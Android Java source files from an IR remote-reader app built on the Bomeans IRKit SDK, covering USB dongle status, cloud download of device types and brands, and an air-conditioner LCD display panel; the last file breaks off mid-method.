import android.graphics.Color;
import android.hardware.usb.UsbManager;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.ProgressBar;
import android.widget.TextView;
import com.bomeans.IRKit.BIRReadFirmwareVersionCallback;
import com.bomeans.IRKit.BIRReader;
import com.bomeans.IRKit.BIRReaderCallback;
import com.bomeans.IRKit.BrandItem;
import com.bomeans.IRKit.ConstValue;
import com.bomeans.IRKit.IRKit;
import com.bomeans.IRKit.IWebAPICallBack;
import com.bomeans.IRKit.TypeItem;
import java.util.Locale;
public class MainActivity extends AppCompatActivity implements BomeansUSBDongle.IBomeansUSBDongleCallback {
private BomeansUSBDongle mUsbDongle;
private TextView mMessageText;
private TextView mVersionInfo;
private Button mLearnAndRecognizeButton;
private Button mLearnAndTestButton;
private Button mReloadFormatsButton;
private ProgressBar mProgressBar;
private boolean mDebugFunctions = false;
private boolean mDeviceAttached = false;
private boolean mIrReaderDownloadCompleted;
private boolean mTypeDownloadCompleted;
private boolean[] mBrandDownloadCompleted;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
mVersionInfo = (TextView) findViewById(R.id.version_text);
mVersionInfo.setText(String.format("%s: %s",
getResources().getString(R.string.sw_ver), BomeansIrReaderApp.getAppVersion()));
mMessageText = (TextView) findViewById(R.id.text_device_status);
mProgressBar = (ProgressBar) findViewById(R.id.progress_bar);
/*FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);
if (null != fab) {
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG)
.setAction("Action", null).show();
}
});
}*/
// broadcast receiver for USB device detached
IntentFilter filter = new IntentFilter();
filter.addAction(UsbManager.ACTION_USB_DEVICE_DETACHED);
registerReceiver(mUsbReceiver, filter);
// learn and transmit
mLearnAndTestButton = (Button) findViewById(R.id.learn_n_test_button);
if (null != mLearnAndTestButton) {
mLearnAndTestButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, LearnAndSendActivity.class);
MainActivity.this.startActivity(intent);
}
});
}
// learn and recognize
mLearnAndRecognizeButton = (Button) findViewById(R.id.learn_n_recognize_button);
if (null != mLearnAndRecognizeButton) {
mLearnAndRecognizeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, LearnAndRecognizeActivity.class);
MainActivity.this.startActivity(intent);
}
});
}
//mLearnAndRecognizeButton.setEnabled(false);
// test function
TextView testButtonDesc = (TextView) findViewById(R.id.test_button_desc);
Button testButton = (Button) findViewById(R.id.test_button);
if (null != testButton) {
testButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, TestActivity.class);
MainActivity.this.startActivity(intent);
}
});
}
testButtonDesc.setVisibility(mDebugFunctions ? View.VISIBLE : View.GONE);
testButton.setVisibility(mDebugFunctions ? View.VISIBLE : View.GONE);
// reload formats
mReloadFormatsButton = (Button) findViewById(R.id.button_reload);
if (null != mReloadFormatsButton) {
mReloadFormatsButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
loadCloudData(true);
}
});
}
mUsbDongle = ((BomeansIrReaderApp) getApplication()).getUsbDongle();
IRKit.setIRHW(mUsbDongle);
mUsbDongle.registerCallback(this);
loadCloudData(false);
}
@Override
protected void onPause() {
if (null != mUsbDongle) {
mUsbDongle.unregisterCallback(this);
}
super.onPause();
}
private void loadIrReader(Boolean forceReload) {
BIRReader irReader = ((BomeansIrReaderApp) getApplication()).getIrReader();
if (null == irReader || forceReload) {
/*mMessageText.setText(getResources().getString(R.string.loading_pls_wait));
mMessageText.setTextColor(Color.RED);
mProgressBar.setVisibility(View.VISIBLE);
mReloadFormatsButton.setVisibility(View.GONE);
mLearnAndRecognizeButton.setEnabled(false);*/
IRKit.createIRReader(forceReload, new BIRReaderCallback() {
@Override
public void onReaderCreated(BIRReader birReader) {
mIrReaderDownloadCompleted = true;
if (null != birReader) {
((BomeansIrReaderApp) getApplication()).setIrReader(birReader);
mMessageText.setText(getResources().getString(R.string.load_ok));
mMessageText.setTextColor(Color.BLACK);
if (BuildConfig.DEBUG) {
mLearnAndRecognizeButton.setEnabled(mDeviceAttached);//true);
} else {
mLearnAndRecognizeButton.setEnabled(mDeviceAttached);
}
mProgressBar.setVisibility(View.GONE);
mReloadFormatsButton.setVisibility(View.VISIBLE);
/*// debug
byte[] data = {
(byte)0xFF, 0x61, 0x00, (byte)0x8D, 0x00, (byte)0x92, (byte)0xCF, (byte)0x92,
0x56, 0x06, 0x26, 0x46, 0x30, 0x23, 0x3C, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, (byte)0x94, 0x11, (byte)0x94, 0x06,
0x2C, 0x02, 0x03, (byte)0x94, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x21, 0x31,
(byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF,
(byte)0xFF, (byte)0xFF, (byte)0xFF, (byte)0xFF, 0x66, 0x00, 0x10, 0x21,
0x22, 0x22, 0x11, 0x12, 0x12, 0x12, 0x22, 0x22,
0x12, 0x22, 0x11, 0x11, 0x21, 0x11, 0x32, 0x10,
0x21, 0x22, 0x22, 0x11, 0x12, 0x12, 0x12, 0x22,
0x22, 0x12, 0x22, 0x11, 0x11, 0x21, 0x11, 0x32,
0x10, 0x21, 0x22, 0x22, 0x11, 0x12, 0x12, 0x12,
0x22, 0x22, 0x12, 0x22, 0x11, 0x11, 0x21, 0x11,
0x32, (byte)0xC8, (byte)0xF0};
birReader.load(data, false, true);
birReader.getFrequency();*/
}
}
@Override
public void onReaderCreateFailed() {
mIrReaderDownloadCompleted = true;
mMessageText.setText(getResources().getString(R.string.load_failed));
mMessageText.setTextColor(Color.RED);
mLearnAndRecognizeButton.setEnabled(false);
if (isDownloadCompleted()) { mProgressBar.setVisibility(View.GONE); }
mReloadFormatsButton.setVisibility(View.VISIBLE);
}
});
} else {
mMessageText.setText(getResources().getString(R.string.load_ok));
mMessageText.setTextColor(Color.BLACK);
mLearnAndRecognizeButton.setEnabled(mDeviceAttached);
mProgressBar.setVisibility(View.GONE);
mReloadFormatsButton.setVisibility(View.VISIBLE);
}
}
private void updateUsbState() {
if (null != mUsbDongle) {
mUsbDongle.rescan();
/*
this.setTitle(
String.format("%s (%s)", getResources().getString(R.string.app_name),
mUsbDongle.isAttached() ? getResources().getString(R.string.connected) : getResources().getString(R.string.disconnected))
);
if (mUsbDongle.isAttached()) {
mUsbDongle.registerCallback(this);
sendVersionCommand();
}
mLearnAndRecognizeButton.setEnabled(mUsbDongle.isAttached() &&
(((BomeansIrReaderApp) getApplication()).getIrReader() != null));
mLearnAndTestButton.setEnabled(mUsbDongle.isAttached());
*/
}
}
private Boolean sendVersionCommand() {
if (null != mUsbDongle && mUsbDongle.isAttached()) {
final Activity thisActivity = this;
IRKit.getIrBlasterFirmwareVersion(new BIRReadFirmwareVersionCallback() {
@Override
public void onFirmwareVersionReceived(final String version) {
thisActivity.runOnUiThread(new Runnable() {
@Override
public void run() {
String info = String.format("%s: %s\n%s: %s",
getResources().getString(R.string.sw_ver),
BomeansIrReaderApp.getAppVersion(),
getResources().getString(R.string.fw_ver),
version);
mVersionInfo.setText(info);
}
});
}
});
}
return false;
}
@Override
protected void onPostCreate(@Nullable Bundle savedInstanceState) {
super.onPostCreate(savedInstanceState);
updateUsbState();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
Intent intent = new Intent(this, SettingsActivity.class);
startActivity(intent);
return true;
}
return super.onOptionsItemSelected(item);
}
// BroadcastReceiver when remove the device USB plug from a USB port
private BroadcastReceiver mUsbReceiver = new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (UsbManager.ACTION_USB_DEVICE_DETACHED.equals(action)) {
updateUsbState();
}
}
};
@Override
public void onDeviceStatusChanged(Boolean attached) {
mDeviceAttached = attached;
mVersionInfo.setText(String.format("%s: %s",
getResources().getString(R.string.sw_ver), BomeansIrReaderApp.getAppVersion()));
this.setTitle(
String.format("%s (%s)", getResources().getString(R.string.app_name),
mDeviceAttached ? getResources().getString(R.string.connected) : getResources().getString(R.string.disconnected))
);
mLearnAndRecognizeButton.setEnabled(mDeviceAttached &&
(((BomeansIrReaderApp) getApplication()).getIrReader() != null));
mLearnAndTestButton.setEnabled(mDeviceAttached);
}
private String getLanguageCode() {
String languageCode = Locale.getDefault().getCountry().toLowerCase(Locale.US);
return languageCode;
}
private void loadCloudData(final boolean forceReload) {
// reset flags
initDownloadCompletionFlags();
// GUI
mMessageText.setText(getResources().getString(R.string.loading_pls_wait));
mMessageText.setTextColor(Color.RED);
mProgressBar.setVisibility(View.VISIBLE);
mReloadFormatsButton.setVisibility(View.GONE);
mLearnAndRecognizeButton.setEnabled(false);
IRKit.webGetTypeList(getLanguageCode(), forceReload, new IWebAPICallBack() {
@Override
public void onPreExecute() {
}
@Override
public void onPostExecute(Object arrayObj, int errCode) {
if (errCode == ConstValue.BIRNoError) {
TypeItem[] typeItems = (TypeItem[]) arrayObj;
((BomeansIrReaderApp) getApplication()).setTypes(typeItems);
mTypeDownloadCompleted = true;
// brand download flags
mBrandDownloadCompleted = new boolean[typeItems.length];
for (int i = 0; i < typeItems.length; i++) {
mBrandDownloadCompleted[i] = false;
loadBrands(typeItems[i], forceReload);
}
loadIrReader(forceReload);
}
else {
// error
}
}
@Override
public void onProgressUpdate(Integer... integers) {
}
});
}
private void loadBrands(final TypeItem type, Boolean forceLoad) {
IRKit.webGetBrandList(type.typeId, 0, 10000, getLanguageCode(), null, forceLoad, new IWebAPICallBack() {
@Override
public void onPreExecute() {
}
@Override
public void onPostExecute(Object objectArray, int errCode) {
if (errCode == IRKit.BIRNoError) {
((BomeansIrReaderApp) getApplication()).setBrands(type.typeId, (BrandItem[])objectArray);
}
if (isDownloadCompleted()) {
mProgressBar.setVisibility(View.GONE);
}
}
@Override
public void onProgressUpdate(Integer... integers) {
}
});
}
private void initDownloadCompletionFlags() {
mIrReaderDownloadCompleted = false;
mTypeDownloadCompleted = false;
mBrandDownloadCompleted = null;
}
private boolean isDownloadCompleted() {
if (null == mBrandDownloadCompleted) { return false; }
if (!mTypeDownloadCompleted) { return false; }
if (!mIrReaderDownloadCompleted) { return false; }
for(int i = 0; i < mBrandDownloadCompleted.length; i++) {
if (!mBrandDownloadCompleted[i]) { return false; }
}
return true;
}
}
<file_sep>package com.bomeans.irreader.panel;
import android.app.Activity;
import android.content.Context;
import android.graphics.drawable.Drawable;
import android.util.TypedValue;
import android.view.Gravity;
import android.view.View;
import android.widget.GridLayout;
import android.widget.TextView;
import com.bomeans.IRKit.BIRKeyOption;
import com.bomeans.IRKit.BIRRemote;
import com.bomeans.irreader.R;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Hashtable;
import java.util.Locale;
import java.util.Timer;
import java.util.TimerTask;
/**
* Created by ray on 2017/6/21.
*/
public class ACDisplay {
protected GridLayout mLayout;
protected AbstractDefaultKeys mPredefinedACKeys;
//private int mDefaultRowHeight;
private static final int DEFAULT_ROW_HEIGHT = 50;
private static final int DEFAULT_TEXT_SIZE = 20;
private static final int DEFAULT_TEXT_COLOR_RESID = R.color.ac_lcd_text;
private static final String DEFAULT_INIT_TEXT = "---";
private View mTempView;
private TextView mFanSpeedView;
private TextView mModeView;
private TextView mVerticalAirSwingView;
private TextView mHorizontalAirSwingView;
private TextView mAirSwapView;
private TextView mRTCView;
private Timer mRTCTimer;
private Boolean mShowRTCDot = true; // toggle the dot
private TextView mOnTimerView;
private TextView mOffTimerView;
private TextView mTimerView; // for combo timer key (ontimer/offtimer/timer off)
private Hashtable<String, TextView> mGeneralOnOffView = new Hashtable<String, TextView> ();
private int mOnTimerHour = 0;
private int mOnTimerMinute = 0;
private int mOffTimerHour = 0;
private int mOffTimerMinute = 0;
private BIRRemote mBirRemote;
public enum TimerType {
ON_TIMER,
OFF_TIMER
}
public ACDisplay(GridLayout layout, AbstractDefaultKeys predefinedKeys, BIRRemote birRemote) {
mLayout = layout;
mPredefinedACKeys = predefinedKeys;
mBirRemote = birRemote;
mLayout.setBackgroundResource(getLCDBackgroundOnColor());
}
protected String[] getDefaultDisplaySequence() {
return new String[] {
"IR_ACKEY_MODE",
"IR_ACKEY_TEMP",
"IR_ACKEY_FANSPEED",
"IR_ACKEY_AIRSWING_UD",
"IR_ACKEY_AIRSWING_LR",
"IR_ACKEY_SLEEP",
"IR_ACKEY_ONTIMER",
"IR_ACKEY_OFFTIMER"
};
}
protected Context getContext() {
return mLayout.getContext();
}
protected int getCellHeight() {
return (int) TypedValue.applyDimension(
TypedValue.COMPLEX_UNIT_DIP,
DEFAULT_ROW_HEIGHT,
getContext().getResources().getDisplayMetrics());
}
protected int getTextSize() {
return DEFAULT_TEXT_SIZE;
}
protected View getTempView() {
return getNewDisplayView();
}
private void addView(String keyId) {
if (keyId.equalsIgnoreCase("IR_ACKEY_POWER")) {
} else if (keyId.equalsIgnoreCase("IR_ACKEY_MODE")) {
mModeView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_TEMP")) {
mTempView = getTempView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_FANSPEED")) {
mFanSpeedView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_AIRSWING_UD")) {
mVerticalAirSwingView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_AIRSWING_LR")) {
mHorizontalAirSwingView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_ONTIMER")) {
mOnTimerView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_OFFTIMER")) {
mOffTimerView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_TIMER")) {
mTimerView = getNewDisplayView();
} else if (keyId.equalsIgnoreCase("IR_ACKEY_AIRSWAP")) {
mAirSwapView = getNewDisplayView();
} else {
// key id use all upper case
mGeneralOnOffView.put(keyId.toUpperCase(Locale.US), getNewDisplayView());
}
}
public void init(String[] keyIdList) {
mLayout.removeAllViews();
// RTC: always have it (?)
mRTCView = getRTCView();
ArrayList<String> newKeyIdList = new ArrayList<>(Arrays.asList(keyIdList));
for (String keyId : getDefaultDisplaySequence()) {
for (int i = 0; i < newKeyIdList.size(); i++) {
if (newKeyIdList.get(i).equalsIgnoreCase(keyId)) {
addView(keyId);
newKeyIdList.remove(i); // remove this entry
break;
}
}
}
for (String keyId : newKeyIdList) {
addView(keyId);
}
}
private boolean isPowerOn(String[] activeKeyIDs) {
for (String keyId : activeKeyIDs) {
if (keyId.equalsIgnoreCase("IR_ACKEY_POWER")) {
BIRKeyOption keyOption = mBirRemote.getKeyOption(keyId);
if (null == keyOption) {
continue;
}
String optionId = keyOption.options[keyOption.currentOption];
if (null != optionId) {
optionId = optionId.toUpperCase(Locale.US);
if (optionId.equalsIgnoreCase("IR_ACOPT_POWER_ON")) {
return true;
} else if (optionId.equalsIgnoreCase("IR_ACOPT_POWER_OFF")) {
return false;
}
}
}
}
return true;
}
public void updateDisplay(String[] activeKeyIDs) {
if (isPowerOn(activeKeyIDs)) {
mLayout.setBackgroundResource(getLCDBackgroundOnColor());
for (String keyId : activeKeyIDs) {
if (keyId.equalsIgnoreCase("IR_ACKEY_TEMP")) {
setTempDisplay(mTempView, mBirRemote.getKeyOption(keyId));
} else if (keyId.equalsIgnoreCase("IR_ACKEY_FANSPEED")) {
setViewDisplay(mFanSpeedView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_MODE")) {
setViewDisplay(mModeView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_AIRSWING_UD")) {
setViewDisplay(mVerticalAirSwingView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_AIRSWING_LR")) {
setViewDisplay(mHorizontalAirSwingView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_ONTIMER")) {
setTimerDisplay(mOnTimerView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_OFFTIMER")) {
setTimerDisplay(mOffTimerView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_TIMER")) {
setTimerDisplay(mTimerView, keyId);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_AIRSWAP")) {
setViewDisplay(mAirSwapView, keyId);
} else {
setGeneralOnOffDisplay(keyId);
}
}
} else { // power off
mLayout.setBackgroundResource(getLCDBackgroundOffColor());
setPowerOffDisplay(activeKeyIDs);
}
}
protected void setPowerOffDisplay(String[] activeKeyIDs) {
View childView;
TextView textView;
for (int i = 0; i < mLayout.getChildCount(); i++) {
childView = mLayout.getChildAt(i);
//if ((childView instanceof TextView) && !(childView instanceof TextClock)) {
if (childView instanceof TextView) {
textView = (TextView) childView;
textView.setText(DEFAULT_INIT_TEXT);
if (isIndicatorIconOnTop()) {
textView.setCompoundDrawablesWithIntrinsicBounds(null, getResourceDrawable(getDrawableDummyResId()), null, null);
} else {
textView.setCompoundDrawablesWithIntrinsicBounds(null, null, null, getResourceDrawable(getDrawableDummyResId()));
}
}
}
}
protected int getDrawableDummyResId() {
return R.drawable.ac_dummy;
}
protected int getLCDBackgroundOnColor() {
return R.color.ac_lcd;
}
protected int getLCDBackgroundOffColor() {
return R.color.ac_lcd_off;
}
private void setGeneralOnOffDisplay(String keyId) {
if (null == keyId) {
return;
}
// get the GUI key (RemoteKey) for the readable key name and icon
RemoteKey guiKey = mPredefinedACKeys.getKeyById(keyId);
BIRKeyOption keyOption = mBirRemote.getKeyOption(keyId);
// get the target view which was previously stored in hashtable
TextView targetView = mGeneralOnOffView.get(keyId);
if (null == targetView) {
return;
}
// get the key name
String keyName;
if (null == guiKey) {
keyName = keyId;
if (keyName.startsWith("IR_ACKEY_")) {
keyName = keyName.substring("IR_ACKEY_".length());
}
} else {
keyName = guiKey.getKeyName();
}
Drawable icon = null;
String text = "";
// get the current key option
if ((null != keyOption) && (keyOption.options.length > 0)) {
String currentOptionId = keyOption.options[keyOption.currentOption];
boolean bMatched = false;
if (null != currentOptionId) {
// is it a ON?
if (currentOptionId.toUpperCase(Locale.US).endsWith("_ON")) {
text = String.format("%s:%s",
keyName,
getResourceString(R.string.IR_ACOPT_ON));
bMatched = true;
// if there is a icon associated with this key, get it
if (null != guiKey && guiKey.hasDrawable()) {
icon = getResourceDrawable(guiKey.getDrawableId());
} else {
// if not, get the dummy icon
icon = getResourceDrawable(R.drawable.ac_dummy);
}
} else if (currentOptionId.toUpperCase(Locale.US).endsWith("_OFF")) {
text = String.format("%s:%s",
keyName,
getResourceString(R.string.IR_ACOPT_OFF));
bMatched = true;
// draw the dummy
icon = getResourceDrawable(R.drawable.ac_dummy);
}
}
if (!bMatched) {
text = String.format("%s:?", keyName);
}
} else {
text = keyName;
}
targetView.setText(text);
targetView.setCompoundDrawablesWithIntrinsicBounds(null, null, null, icon);
}
private void setTimerDisplay(TextView targetView, String keyId) {
if (null == targetView) {
return;
}
RemoteKey guiKey = mPredefinedACKeys.getKeyById(keyId);
BIRKeyOption keyOption = mBirRemote.getKeyOption(keyId);
String keyOptionId = keyOption.options[keyOption.currentOption];
String keyName = keyId;
if (null != guiKey) {
keyName = guiKey.getKeyName();
}
String text = "";
if (keyId.equalsIgnoreCase("IR_ACKEY_ONTIMER")) {
text = String.format("%s:%s\n%02d:%02d",
keyName,
keyOptionId.endsWith("_ON") ? getResourceString(R.string.IR_ACOPT_ON) : getResourceString(R.string.IR_ACOPT_OFF),
mOnTimerHour,
mOnTimerMinute);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_OFFTIMER")) {
text = String.format("%s:%s\n%02d:%02d",
keyName,
keyOptionId.endsWith("_ON") ? getResourceString(R.string.IR_ACOPT_ON) : getResourceString(R.string.IR_ACOPT_OFF),
mOffTimerHour,
mOffTimerMinute);
} else if (keyId.equalsIgnoreCase("IR_ACKEY_TIMER")) {
if (keyOptionId.equalsIgnoreCase("IR_ACOPT_ONTIMER_ON")) {
text = String.format("%s:%s\n%d:%d",
getResourceString(R.string.IR_ACKEY_ONTIMER),
getResourceString(R.string.IR_ACOPT_ON),
mOnTimerHour,
mOnTimerMinute);
} else if (keyOptionId.equalsIgnoreCase("IR_ACOPT_OFFTIMER_ON")) {
text = String.format("%s:%s\n%d:%d",
getResourceString(R.string.IR_ACKEY_OFFTIMER),
getResourceString(R.string.IR_ACOPT_ON),
mOffTimerHour,
mOffTimerMinute);
} else { // IR_ACOPT_TIMER_OFF
text = String.format("%s:%s\n--:--",
keyName,
getResourceString(R.string.IR_ACOPT_OFF));
}
}
targetView.setText(text);
// no icon
targetView.setCompoundDrawablesWithIntrinsicBounds(null, null, null, null);
}
/**
*
* @return true if the indicator icon is on top of the text, false if at bottom
*/
protected Boolean isIndicatorIconOnTop() {
return false;
}
protected void setViewDisplay(TextView targetView, String keyId) {
if (null == targetView || null == keyId) {
return;
}
RemoteKey guiKey = mPredefinedACKeys.getKeyById(keyId);
BIRKeyOption keyOpton = mBirRemote.getKeyOption(keyId);
String text = "";
if (guiKey.getOptionCount() > 0) {
String currentOptionId = keyOpton.options[keyOpton.currentOption];
boolean bMatched = false;
if (null != currentOptionId) {
for (RemoteKey option : guiKey.getOptionList()) {
if (currentOptionId.equalsIgnoreCase(option.getKeyId())) {
if (guiKey.getKeyId().equalsIgnoreCase("IR_ACKEY_MODE")) {
text = option.getKeyName();
} else {
text = String.format("%s:%s",
guiKey.getKeyName(),
option.getKeyName());
}
// icon?
if (option.hasDrawable()) {
Drawable icon = getResourceDrawable(option.getDrawableId());
if (isIndicatorIconOnTop()) {
targetView.setCompoundDrawablesWithIntrinsicBounds(null, icon, null, null);
} else {
targetView.setCompoundDrawablesWithIntrinsicBounds(null, null, null, icon);
}
}
bMatched = true;
break;
}
}
}
if (!bMatched) {
text = String.format("%s:?",
guiKey.getKeyName());
}
} else {
text = guiKey.getKeyName();
}
targetView.setText(text);
}
private String getResourceString(int resId) {
return getContext().getResources().getString(resId);
}
protected Drawable getResourceDrawable(int resId) {
return getContext().getResources().getDrawable(resId);
}
protected void setTempDisplay(View tempView, BIRKeyOption keyOption) {
if (tempView instanceof TextView) {
TextView targetView = (TextView) tempView;
String optionId = keyOption.options[keyOption.currentOption];
if (null == optionId) {
targetView.setText("");
} else {
if (optionId.startsWith("IR_ACOPT_TEMP_")) {
String temp = optionId.substring("IR_ACOPT_TEMP_".length());
if (temp.startsWith("P")) {
temp.replace("P", "+");
} else if (temp.startsWith("N")) {
temp.replace("N", "-");
}
targetView.setText(temp);
} else if (optionId.startsWith("IR_ACSTATE_TEMP_")) {
// generated items by underlying lib, prefixed with "STATE_NAME"_XXX,
// for temperature, its IR_ACSTATE_TEMP_12, for example
String temp = optionId.substring("IR_ACSTATE_TEMP_".length());
if (temp.startsWith("P")) {
temp = temp.replace("P", "+");
} else if (temp.startsWith("N")) {
temp = temp.replace("N", "-");
}
targetView.setText(temp);
} else {
targetView.setText(optionId);
}
}
// icon?
Drawable icon = getResourceDrawable(getTempIconResId());
if (isIndicatorIconOnTop()) {
targetView.setCompoundDrawablesWithIntrinsicBounds(null, icon, null, null);
} else {
targetView.setCompoundDrawablesWithIntrinsicBounds(null, null, null, icon);
}
}
}
protected int getTempIconResId() {
return R.drawable.ir_ackey_temp;
}
private TextView getRTCView() {
TextView textClock = new TextView(getContext());
textClock.setText(getCurrentTimeString());
/*
TextClock textClock = new TextClock(getContext());
textClock.setFormat12Hour(null);
textClock.setFormat24Hour("HH:mm");
*/
textClock.setTextSize(getTextSize());
textClock.setTextColor(getContext().getResources().getColor(DEFAULT_TEXT_COLOR_RESID));
textClock.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
textClock.setPadding(0, 0, 0, 0);
GridLayout.LayoutParams lprams = new GridLayout.LayoutParams();
lprams.width = (mLayout.getWidth() / mLayout.getColumnCount());
lprams.height = getCellHeight();
textClock.setLayoutParams(lprams);
mLayout.addView(textClock);
mRTCTimer = new Timer();
mRTCTimer.schedule(new RTCTimerTask(), 0, 500);
return textClock;
}
private class RTCTimerTask extends TimerTask {
@Override
public void run() {
((Activity) getContext()).runOnUiThread(new Runnable() {
@Override
public void run() {
mRTCView.setText(getCurrentTimeString());
}
});
}
}
private String getCurrentTimeString() {
Calendar cal = Calendar.getInstance();
String formatStr = mShowRTCDot ? "%02d:%02d" :"%02d %02d";
mShowRTCDot = !mShowRTCDot;
return String.format(formatStr,
cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE));
}
protected TextView getNewDisplayView() {
TextView newView = new TextView(getContext());
newView.setTextSize(getTextSize());
newView.setTextColor(getContext().getResources().getColor(DEFAULT_TEXT_COLOR_RESID));
newView.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
newView.setPadding(0, 0, 0, 0);
GridLayout.LayoutParams lprams = new GridLayout.LayoutParams();
lprams.width = (mLayout.getWidth() / mLayout.getColumnCount());
lprams.height = GridLayout.LayoutParams.WRAP_CONTENT;//getCellHeight();
lprams.setGravity(Gravity.CENTER_VERTICAL);
newView.setLayoutParams(lprams);
newView.setText(DEFAULT_INIT_TEXT);
mLayout.addView(newView);
return newView;
}
public void setOnTimerTime(int hourOfDay, int minute) {
mOnTimerHour = hourOfDay;
mOnTimerMinute = minute;
}
public void setOffTimerTime(int hourOfDay, int minute) {
mOffTimerHour = hourOfDay;
mOffTimerMinute = minute;
}
}
<file_sep>package com.bomeans.irreader;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.text.Editable;
import android.text.TextWatcher;
import android.view.LayoutInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.ProgressBar;
import android.widget.RadioGroup;
import android.widget.ScrollView;
import android.widget.TextView;
import android.widget.Toast;
import com.bomeans.IRKit.BIRReader;
import com.bomeans.IRKit.IRKit;
import com.bomeans.IRKit.IRReader;
import java.util.List;
import java.util.Locale;
public class LearnAndRecognizeActivity extends AppCompatActivity implements BomeansUSBDongle.IBomeansUSBDongleCallback {
private BomeansUSBDongle mUsbDongle;
private BIRReader mIrReader;
private TextView mMessageText;
private Button mLearningButton;
private ScrollView mScrollView;
private RadioGroup mTypeRadioGroup;
private CheckBox mChkFilter;
private TextView mTextType;
private TextView mTextBrand;
private TypeItemEx mSelectedType = null;
private BrandItemEx mSelectedBrand = null;
private Boolean mIsLearning = true;//false;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_learn_and_recognize);
// enable the back button on the action bar
ActionBar actionBar = getSupportActionBar();
if (null != actionBar) {
actionBar.setHomeButtonEnabled(true);
actionBar.setDisplayHomeAsUpEnabled(true);
}
mTypeRadioGroup = (RadioGroup) findViewById(R.id.type_group);
mTypeRadioGroup.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(RadioGroup group, int checkedId) {
initLearning();
}
});
mMessageText = (TextView) findViewById(R.id.text_message_view);
mScrollView = (ScrollView) findViewById(R.id.scroll_view);
mLearningButton = (Button) findViewById(R.id.start_learning_button);
mLearningButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
initLearning();
}
});
mChkFilter = (CheckBox) findViewById(R.id.check_filter);
mTextType = (TextView) findViewById(R.id.text_category);
mTextBrand = (TextView) findViewById(R.id.text_brand);
mChkFilter.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
mTextType.setEnabled(mChkFilter.isChecked());
mTextBrand.setEnabled(mChkFilter.isChecked());
}
});
final Activity thisActivity = this;
mTextType.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!mChkFilter.isChecked()) {
return;
}
TypeItemEx[] types = ((BomeansIrReaderApp) getApplication()).getTypes();
if ((null == types) || (types.length == 0)) {
Toast.makeText(thisActivity, "Types are not available!", Toast.LENGTH_SHORT).show();
return;
}
showTypeDialog(types);
}
});
mTextBrand.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!mChkFilter.isChecked()) {
return;
}
if (null == mSelectedType) {
